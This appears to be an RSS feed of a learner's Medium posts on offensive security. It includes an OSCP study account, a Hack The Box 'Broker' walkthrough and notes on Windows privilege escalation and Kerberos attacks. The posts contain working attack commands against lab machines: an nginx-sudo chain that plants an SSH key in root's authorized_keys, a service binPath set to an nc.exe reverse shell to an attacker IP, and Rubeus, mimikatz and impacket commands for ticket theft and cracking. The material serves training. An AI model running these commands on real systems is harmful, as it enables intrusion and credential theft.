<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hacer Dalkiran on Medium]]></title>
        <description><![CDATA[Stories by Hacer Dalkiran on Medium]]></description>
        <link>https://medium.com/@hacerdalkiran?source=rss-433f8658b251------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*KxGl-V2j9mSsA2WALT75uw.png</url>
            <title>Stories by Hacer Dalkiran on Medium</title>
            <link>https://medium.com/@hacerdalkiran?source=rss-433f8658b251------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 19:29:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hacerdalkiran/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Notepad++ Incident: A Brief Look at Supply Chain Attacks]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://meetcyber.net/notepad-incident-a-brief-look-at-supply-chain-attacks-5fa0122b6bd1?source=rss-433f8658b251------2"><img src="https://cdn-images-1.medium.com/max/600/1*ZcZjHHNBsp7ggaEpHIH81A.png" width="600"></a></p><p class="medium-feed-snippet">Introduction</p><p class="medium-feed-link"><a href="https://meetcyber.net/notepad-incident-a-brief-look-at-supply-chain-attacks-5fa0122b6bd1?source=rss-433f8658b251------2">Continue reading on MeetCyber »</a></p></div>]]></description>
            <link>https://meetcyber.net/notepad-incident-a-brief-look-at-supply-chain-attacks-5fa0122b6bd1?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fa0122b6bd1</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[supply-chain-attack]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Mon, 16 Feb 2026 07:36:34 GMT</pubDate>
            <atom:updated>2026-02-16T22:41:07.983Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Kerberos Attacks: Silver Ticket]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://hacerdalkiran.medium.com/kerberos-attacks-silver-ticket-6f671a3039fb?source=rss-433f8658b251------2"><img src="https://cdn-images-1.medium.com/max/818/1*JmJ9rkxsAMIyqubZsGgyrw.png" width="818"></a></p><p class="medium-feed-snippet">Kerberos is designed to make authentication in Active Directory seamless and secure. In practice, however, a single weak service account&#x2026;</p><p class="medium-feed-link"><a href="https://hacerdalkiran.medium.com/kerberos-attacks-silver-ticket-6f671a3039fb?source=rss-433f8658b251------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://hacerdalkiran.medium.com/kerberos-attacks-silver-ticket-6f671a3039fb?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f671a3039fb</guid>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[signed]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[silver-ticket]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Mon, 09 Feb 2026 11:54:48 GMT</pubDate>
            <atom:updated>2026-02-16T22:41:04.338Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[From Spear Phishing to Persistence: An APT Attack Analysis Using MITRE ATT&CK]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-snippet">Many real-world APT attacks do not begin with sophisticated zero-day exploits.</p><p class="medium-feed-link"><a href="https://hacerdalkiran.medium.com/from-spear-phishing-to-persistence-an-apt-attack-analysis-using-mitre-att-ck-d14d1acffdfe?source=rss-433f8658b251------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://hacerdalkiran.medium.com/from-spear-phishing-to-persistence-an-apt-attack-analysis-using-mitre-att-ck-d14d1acffdfe?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/d14d1acffdfe</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mitre-attack-framework]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Wed, 14 Jan 2026 19:25:26 GMT</pubDate>
            <atom:updated>2026-01-14T19:25:26.355Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[How I passed OSCP?]]></title>
            <link>https://hacerdalkiran.medium.com/how-i-passed-oscp-f520ad3ff843?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/f520ad3ff843</guid>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 10:14:31 GMT</pubDate>
            <atom:updated>2025-08-20T10:14:31.084Z</atom:updated>
            <content:encoded><![CDATA[<p>I have been preparing for the OSCP for about 1 year. I had no pentest experience before. I am working on PAM, DLP, EDR etc. I had Linux, Windows and Active directory knowledge. Also, I have studied Web exploitation.</p><h3>1. Methodology</h3><p>To gain some experience, I got eJPT from elearning security. The exam is about 48 hours. I had difficulties in that exam both in coping with stress and in putting my theoretical knowledge into practice. I understand that personal cheat sheet is very important.</p><p>Then, I looked at HTB boxes and HTB academy. I have done kerberos attacks on HTB academy.</p><p>I have also looked at Offsec OSCP documents and labs. However, the documents are not enough for me.</p><p>As improved, I bought a eCPPT voucher to look at Active Directory and Pivoting. The exam is about 24 hours.</p><p>Also, I have bought pJPT in TCM Security.</p><p>Then, I have tried TryHackMe’s PT1 exam especially in AD.</p><p>Then, I have started the boxes in the following link:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fdocs.google.com%2Fspreadsheets%2Fd%2F1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8%2Fpreview%3Fembedded%3Dtrue&amp;display_name=Google+Docs&amp;url=https%3A%2F%2Fdocs.google.com%2Fspreadsheets%2Fu%2F1%2Fd%2F1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8%2Fhtmlview&amp;image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocs%2FAHkbwyKfMOkobxxnd3-X8fH6-760n-li2KXhN-491NLby8lIj8buCeUr8NKDjQXa8ptdQVJzd3KMkzFsx-mH_EHFpZ46WLMVgoXqV0tD342b5dWO7hxxxwWR%3Dw1200-h630-p&amp;type=text%2Fhtml&amp;scroll=auto&amp;schema=google" width="700" height="530" frameborder="0" scrolling="no"><a href="https://medium.com/media/85be638d47645e1ee2b446ffeb3b470f/href">https://medium.com/media/85be638d47645e1ee2b446ffeb3b470f/href</a></iframe><p>Before exam,</p><p>I try to solve Offsec Challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*uih8x6xOmq1a7lDXCuQQyw.png" /></figure><p>I strongly recommend to solve those challenges. Especially, OSCP A, OSCP B and OSCP C.</p><p>Also, challenges are strongly recommended.</p><h3>2. Taking Notes</h3><p>I have created a profile in Notion for a general cheetsheet and the rooms writeups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*miyckYXankaq6Fk7c0FxvQ.png" /><figcaption>HTB writeups</figcaption></figure><p>Also I tried to solve proving grounds writeups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*l0vCur3ZG1aqMyc4BknhPA.png" /></figure><p>The general cheetsheet is extremely important.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xddYBI9Cjw7CPh4IG0uVRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngIwfDfQ4n0eVR2VDXPrbA.png" /></figure><p>Web shells, Linux privesc, Windows privesc and AD tricks are very important.</p><p>I have extended my cheetsheet as solving the boxes.</p><p>For example, there was an snmp based box. I have learned snmp exploitation and take my notes in my general cheetsheet.</p><h3>3. Before the Exam</h3><p>I have no time to rest actually. I enter the exam after the work. I have no time even dinner. However, dedication is the most important thing.</p><h3>4. During the Exam</h3><p>Enumeration is the most important think. I have started nmap full port scan.</p><p>Dont forget: enumeration is everything.</p><p>Sınce I am confident with Active Directory, I started with AD.</p><p>Offsec gives a credential. I connect via RDP. Then privesc.</p><p>Also dont forget: You have to gain full access. There is one more info in the first machine. You need to find this thing to reach other AD machines.</p><p>Finish Active Directory ACL topic. GenericAll, forcechangepassword right etc.</p><p>Do not get lost in rabbit holes. A file sometimes is just a file.</p><p>Look at file full file system. May be there is no need to use awesome tools. Sometimes, think simple.</p><p>Good luck to everyone taking the exam in advance!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f520ad3ff843" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB : Dog]]></title>
            <link>https://hacerdalkiran.medium.com/htb-dog-fe4514de2d78?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe4514de2d78</guid>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Mon, 23 Jun 2025 15:07:29 GMT</pubDate>
            <atom:updated>2025-06-23T15:07:29.308Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB : Dog</h3><p>This box is a linux box. Since the box is an active box, I can not share the writeup. If are struggled with this box, you can type to me via Linkedin</p><p><a href="http://linkedin.com/in/hacerdalkiran58">http://Linkedin.com/in/hacerdalkiran58</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4RiFaSAjAbJNvAgP6sHg-w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe4514de2d78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB : Broker]]></title>
            <link>https://hacerdalkiran.medium.com/htb-broker-5784c1b6bd50?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/5784c1b6bd50</guid>
            <category><![CDATA[apache-active-mq]]></category>
            <category><![CDATA[linux-priv-esc]]></category>
            <category><![CDATA[ssh-keys]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Mon, 12 May 2025 12:37:08 GMT</pubDate>
            <atom:updated>2025-05-12T12:37:08.390Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB : Broker</h3><p>🔍 <strong>Enumeration &amp; Reconnaissance</strong></p><pre>22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)<br>|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)<br>80/tcp    open  http       nginx 1.18.0 (Ubuntu)<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_  basic realm=ActiveMQRealm<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Error 401 Unauthorized<br>1883/tcp  open  mqtt<br>| mqtt-subscribe: <br>|   Topics and their most recent payloads: <br>|     ActiveMQ/Advisory/Consumer/Topic/#: <br>|_    ActiveMQ/Advisory/MasterBroker: <br>5672/tcp  open  amqp?<br>|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65<br>| fingerprint-strings: <br>|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: <br>|     AMQP<br>|     AMQP<br>|     amqp:decode-error<br>|_    7Connection from client using unsupported AMQP attempted<br>8161/tcp  open  http       Jetty 9.4.39.v20210325<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_  basic realm=ActiveMQRealm<br>|_http-title: Error 401 Unauthorized<br>|_http-server-header: Jetty(9.4.39.v20210325)<br>45397/tcp open  tcpwrapped<br>61613/tcp open  stomp      Apache ActiveMQ<br>| fingerprint-strings: <br>|   HELP4STOMP: <br>|     ERROR<br>|     content-type:text/plain<br>|     message:Unknown STOMP action: HELP<br>|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP<br>|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)<br>|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)<br>|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)<br>|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)<br>|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)<br>|_    java.lang.Thread.run(Thread.java:750)<br>61614/tcp open  http       Jetty 9.4.39.v20210325<br>|_http-server-header: Jetty(9.4.39.v20210325)<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: Site doesn&#39;t have a title.<br>61616/tcp open  apachemq   ActiveMQ OpenWire transport 5.15.15</pre><p>Port 80 may be important.</p><p>there is a basic authentication. I have tried admin:admin. Bingo! I have an access to the page. In</p><pre>http://10.129.67.65/admin/</pre><p>there is Version information. I have some research about this version. Then I have found a vulnerability.</p><ul><li><a href="https://github.com/evkl1d/CVE-2023-46604/blob/main/poc.xml">https://github.com/evkl1d/CVE-2023-46604</a></li></ul><p>the important thing in this exploit is poc.xml file.</p><p>Lets edit this file as in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*nRkGqG11E27E_kCPjG-vrQ.png" /><figcaption>poc.xml file</figcaption></figure><p>write this part your ip address and port that you are listening.</p><ul><li>publish a python http server as in the following:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*l1PbMa9S2AwpMlCpfOeqBA.png" /><figcaption>http server on port 1881</figcaption></figure><ul><li>simultaneously, open listener on port as in the file poc.xml.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*ROdM7b5KJu39UJJj0yAtKg.png" /><figcaption>listener on our machine</figcaption></figure><ul><li>run exploit for the port 61616</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*YUYXFZ8SNWY8i4hbZRNTPw.png" /><figcaption>exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*iIUI7UUaR8vjhvLecMrlsA.png" /></figure><p>we got the shell!</p><p><strong>⬆️ 3 . Privilege Escalation</strong></p><p>run sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*ntDr21Pc8V6YYdQ1UyaT1A.png" /></figure><p>/usr/sbin/nginx can run as sudo.</p><p>I made some research on this. Then I have found a method as in the following:</p><p><a href="https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406">https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406</a></p><pre>echo &quot;[+] Creating configuration...&quot;<br>cat &lt;&lt; EOF &gt; /tmp/nginx_pwn.conf<br>user root;<br>worker_processes 4;<br>pid /tmp/nginx.pid;<br>events {<br>        worker_connections 768;<br>}<br>http {<br> server {<br>         listen 1339;<br>         root /;<br>         autoindex on;<br>         dav_methods PUT;<br> }<br>}<br>EOF<br>echo &quot;[+] Loading configuration...&quot;<br>sudo nginx -c /tmp/nginx_pwn.conf<br>echo &quot;[+] Generating SSH Key...&quot;<br>ssh-keygen<br>echo &quot;[+] Display SSH Private Key for copy...&quot;<br>cat .ssh/id_rsa<br>echo &quot;[+] Add key to root user...&quot;<br>curl -X PUT localhost:1339/root/.ssh/authorized_keys -d &quot;$(cat .ssh/id_rsa.pub)&quot;<br>echo &quot;[+] Use the SSH key to get access&quot;</pre><p>the exploit above is useless. I cant get a root shell. Thus I perform manual exploitation by using the technique above.</p><p>First I have created a file hacer.conf to be used as my new web config file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*rwBVd1XrDWIu9lrKh6-AXA.png" /></figure><pre>user root;<br>worker_processes 4;<br>pid /tmp/nginx.pid;<br>events {<br>        worker_connections 768;<br>}<br>http {<br> server {<br>         listen 1339;<br>         root /;<br>         autoindex on;<br>         dav_methods PUT;<br> }<br>}</pre><p>then I have pull the file from my kali machine to target.</p><pre>wget http://10.10.14.132:1881/hacer.conf</pre><p>then run nginx using sudo.</p><pre>sudo /usr/sbin/nginx -c /dev/shm/hacer.conf</pre><p>lets look at /etc/shadow file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*BJraZ9jbblhs-VR-0nTaKw.png" /></figure><p>we can read root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*dA9uBlF8RjtVXSaCqOc-ng.png" /></figure><p>Can we got a root shell. Lets try this.</p><p>lets create a private key.</p><pre>ssh-keygen</pre><p>go to /home/activemq folder and</p><pre>curl -X PUT localhost:1339/root/.ssh/authorized_keys -d &quot;$(cat .ssh/id_rsa.pub)&quot;</pre><p>also I am sure that the keys put on the right place:</p><pre>curl localhost:1339/root/.ssh/authorized_keys</pre><pre>cp id_rsa /tmp/.</pre><p>on kali,</p><pre>wget http://10.129.67.65:1339/tmp/id_rsa<br>chmod 600 id_rsa<br>ssh -i id_rsa root@10.129.67.65</pre><p>Bingo! we are root!</p><p>🧠 <strong>Takeaways / Lessons Learned</strong></p><ul><li>first try admin:admin or default credentials to login.</li><li>for privesc, try sudo -l first.</li><li>read and understand exploits.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5784c1b6bd50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privesc : Critical Groups : Server Operators]]></title>
            <link>https://hacerdalkiran.medium.com/windows-privesc-critical-groups-server-operators-e1a314f7f041?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1a314f7f041</guid>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Wed, 07 May 2025 16:48:03 GMT</pubDate>
            <atom:updated>2025-05-07T16:48:03.323Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Privesc : Critical Groups : Server Operators</h3><p>When we run</p><pre>net user &quot;hacker&quot;</pre><p>we can see local and global groups. If we can see the user is on the group “Server Operators”, we can exploit in the following way:</p><p>lets see running services.</p><pre>services</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*X7Z_BfzLy_x8Tq09tHBzZQ.png" /></figure><p>we can perform the attack by using two ways:</p><ul><li>we should assing VMTools’ binPath as in the following:</li></ul><pre>sc.exe config VMTools binPath= &quot;C:\temp\nc.exe -e cmd.exe 10.10.14.132 4444&quot;</pre><ul><li>we should open nc listener on our kali:</li></ul><pre>nc -lvnp 4444</pre><ul><li>then we need to start VMTools services:</li></ul><pre>sc.exe start VMTools</pre><p>then we get the shell.</p><p>I have encountered this exploit while solving Return box on the Hackthebox, and I have found this article. You can see a comprehensive explanation here:</p><p><a href="https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/">https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1a314f7f041" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Attacks]]></title>
            <link>https://hacerdalkiran.medium.com/kerberos-attacks-c21473d5a378?source=rss-433f8658b251------2</link>
            <guid isPermaLink="false">https://medium.com/p/c21473d5a378</guid>
            <category><![CDATA[golden-ticket]]></category>
            <category><![CDATA[asrep-roasting]]></category>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <dc:creator><![CDATA[Hacer Dalkiran]]></dc:creator>
            <pubDate>Mon, 17 Feb 2025 05:51:17 GMT</pubDate>
            <atom:updated>2025-02-17T05:51:17.449Z</atom:updated>
            <content:encoded><![CDATA[<p>When I am studying, I have taken notes. I am sharing my notes. The notes are from mostly HTB Academy.</p><p>There are mainly 3 types of kerberos attacks.</p><ol><li>Ticket Requesting Attacks : AS-REP, TGS-REP tickets</li></ol><ul><li>Asrep Roasting : Targets TGT</li><li>Kerberoasting : Targets TGS and service account password</li></ul><p>2. Kerberos Delegation Attacks : Impersonate a user access</p><ul><li>Unconstrained Delegation</li><li>Constained Delegation</li><li>Resource Based Constrained Delegation</li></ul><p>3. Ticket Forging Attacks : TGT is encrypted with KDC key, TGS is encrypted with service account key. If we steal one of them, then we can forge TGT and TGS.</p><ul><li>Silver Ticket for TGS</li><li>Golden Ticket for TGT</li></ul><h3>1. Ticket Requesting Attacks</h3><h4>1. Asrep-Roasting</h4><p>Asrep-roasting arises from “Pre-Authentication”. AS-REQ means authentication. AS-REQ contains username information and authenticator.</p><p>AS-REP-Roastable means, there is no need for pre-authentication for that user. Pre-authentication is disabled. That means that whoever request TGT, KDC sends TGT. AS-REP contains TGT with encrypted user password. With brute-force, we can crack user’s password.</p><p>For enumeration, we can use, impacket, Powerview, crackmapexec, Powershell AD module.</p><p>For attacking, <strong>Impacket</strong>, the <strong>Rubeus </strong>toolkit, <strong>crackmapexec </strong>can be used.</p><blockquote>There is more advanced type of this attack. If an attacker has GenericWrite or GenericAll permissions over an account, they can enable this attribute to get A-REP ticket. This is also known as targeted AS-REPRoasting attack.</blockquote><p><strong>enumeration</strong></p><ol><li>Powerview</li></ol><pre>Import-Module .\PowerView.ps1<br>Get-DomainUser -UACFilter DONT_REQ_PREAUTH</pre><p>2. Rubeus</p><pre>Rubeus.exe asreproast /format:hashcat<br>.\Rubeus.exe asreproast /nowrap</pre><p>3. Crackmapexec</p><pre>crackmapexec ldap LDAPFQDN -u users.txt -p &#39;&#39; --asreproast asreproast.out<br>#if we have a username credential info, to enlarge our knowledge, we can use <br>#the method below:<br>crackmapexec ldap dc01.inlanefreight.htb -u grace -p Inlanefreight01! --asreproast asreproast.out</pre><p>4. GetNPUsers.py from impacket</p><pre>.\Rubeus.exe asreproast /user:jenna.smith /domain:inlanefreight.local /dc:dc01.inlanefreight.local /nowrap /outfile:hashes.txt<br>hashcat.exe -m 18200 C:\Tools\hashes.txt C:\Tools\rockyou.txt -O<br>OR<br>GetNPUsers.py DOMAIN/USER #for enumeration<br>GetNPUsers.py DOMAIN/USER -request</pre><p><strong>Targeted Asrep-Roasting</strong></p><p>If you have GenericAll privilege on an account, instead of resetting the password, we can enable DONT_REQ_PREAUTH flag to make this user asrep-roastable.</p><p>To make it- we can use powerview.</p><pre>Import-Module .\PowerView.ps1<br>Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose</pre><h4>Kerberoasting</h4><p>We can get SPN by using lots of methods. For example:</p><p><strong>1 — Powerview</strong></p><pre>Import-Module .\PowerView.ps1<br>Get-DomainUser -SPN<br>#lets get service ticket<br>Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation<br>cat .\tgs.csv<br>#for more automatic way,<br>Import-Module .\PowerView.ps1<br>Invoke-Kerberoast</pre><p><strong>2 — Rubeus</strong></p><pre>Rubeus.exe kerberoast /nowrap</pre><blockquote>NOTE : RC4 encrypted ticket starts with $krb5tgs$23$*</blockquote><blockquote>while AES encrypted ticket starts with $krb5tgs$18$*</blockquote><p><strong>cracking</strong></p><pre>hashcat.exe -m 13100 C:\Tools\kerb.txt C:\Tools\rockyou.txt -O</pre><blockquote>NOT: If we dont have a valid credential, we can use a method. To use this method, we need 2 things:</blockquote><blockquote>Username of an account with preauthentication disabled (DONT_REQ_PREAUTH)</blockquote><blockquote>A target SPN or a lsit of SPNs</blockquote><pre># we will use Rubeus&#39;s createnetonly utility.<br>Rubeus.exe createnetonly /program:cmd.exe /show<br># assume that dua.lipa user has DONT_REQ_PREAUTH property<br>Rubeus.exe kerberoast /nopreauth:dua.lipa /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap</pre><p><strong>3. GetUserSPNs.py from impacket</strong></p><pre>GetUserSPNs.py inlanefreight.local/chester<br>GetUserSPNs.py inlanefreight.local/chester -request<br>hashcat -m 13100 hashes.txt rockyou.txt</pre><h3>2. Kerberos Delegation Attacks</h3><h4>Unconstrained Delegation</h4><p>The Kerberos protocol allows a user to authenticate to a service to use it, and Kerberos delegation enables that service to authenticate to another service as the original user.</p><p>In this example, a user authenticates to WEBSRV to access the website. Once authenticated on the website, the user needs to access information stored in a database, but should not be given access to all the information within it. The service account managing the website must communicate with the database using the user’s rights so that the database only gives access to resources that the user has the right to access. This is where delegation comes into play. The service account, here WEBSRV$, will pretend to be the user when accessing the database. This is called delegation.(HTB-Academy)</p><p>If we are able to compromise a server that has unconstrained delegation enabled, and a Domain Administrator subsequently logs in, we will be able to extract their TGT and use it to move laterally and compromise other machines, including Domain Controllers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*DskVlBbhe6AClXTugSqAQw.png" /></figure><p>In the properties of machine, we see the option is chosen as you can see above.</p><p>Only an administrator or a privileged user to whom these privileges have been explicitly given can set this option to other accounts. More specifically, it is necessary to have the<strong><em> SeEnableDelegationPrivilege</em></strong> privilege to perform this action. A service account cannot modify itself to add this option.</p><p>Specifically, when this option is enabled, the <strong><em>TRUSTED_FOR_DELEGATION</em></strong> flag is set on the account in the <strong><em>User Account Control (UAC)</em></strong> flags.</p><p>To determine if there is a TGT ticket in a TGS ticket, rubeus can find it by using the command below:</p><pre>.\Rubeus.exe monitor /interval:5 /nowrap</pre><p>Using a ticket to request another ticket:</p><pre>.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE&lt;SNIP&gt;LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt</pre><p>In case the above command doesn’t work, we can also use the renew action to get a brand new TGT instead of a TGS ticket:</p><pre>.\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE&lt;SNIP&gt;LkxPQ0FM /ptt<br>mimikatz.exe<br>lsadump::dcsync /user:jefferson.matts</pre><p>Once we have the TGS or the TGT we can effectively list the contents of the Domain Controller file system as shown in the following command.</p><pre>dir \\dc01.inlanefreight.local\c$</pre><h4>Constrained Delegation</h4><p>A service account impersonate users but just for a list of services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*kD1_oHQcXGCF9j_E2xHHxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*6mhPRPjfBTQ3ecxmmZG6rw.png" /></figure><p>First, we will use PowerView to find users and computers with constrained delegation privileges.</p><pre>Import-Module .\PowerView.ps1<br>Get-DomainComputer -TrustedToAuth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*w-qnx0QwL-IJFOXPJQMk5A.png" /></figure><p>The account DMZ01$ has TRUSTED_TO_AUTH_FOR_DELEGATION UAC attribute set, which means it has constrained delegation with protocol transition set, and the only allowed service for delegation is www/WS01.inlanefreight.local.</p><p><strong>Requesting Valid TGS Ticket</strong></p><pre>.\mimikatz.exe privilege::debug sekurlsa::msv exit<br>privilege::debug<br>sekurlsa::msv</pre><pre>.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt</pre><p>We can check our new ticket with the klist command</p><pre>klist<br>#winrm session with current ticket<br>Enter-PSSession ws01.inlanefreight.local</pre><p>from linux:</p><pre>findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine<br>getST.py -spn TERMSRV/DC01 &#39;INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$&#39; -impersonate Administrator</pre><p>This will generate a ticket and save it as Administrator.ccache in the current directory. Once we have this valid ticket to access the TERMSRV service on DC01 as Administrator, we can use it with psexec.py from impacket, after exporting its path to the environment variable KRB5CCNAME. This tool will update the SPN in this TGS on the fly to get an interactive shell. The -debug flag is added on purpose so you can see what&#39;s going on.</p><pre>export KRB5CCNAME=./Administrator.ccache<br>psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug<br>psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug</pre><h4>Unconstrained Delegation — Users- Kerberos Relay Attack</h4><p>This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns. This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.</p><pre>Import-Module .\PowerView.ps1<br>Get-DomainUser -LDAPFilter &quot;(userAccountControl:1.2.840.113556.1.4.803:=524288)&quot;</pre><p>We need an account with GenericWrite privileges on the compromised account.</p><p>This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns. 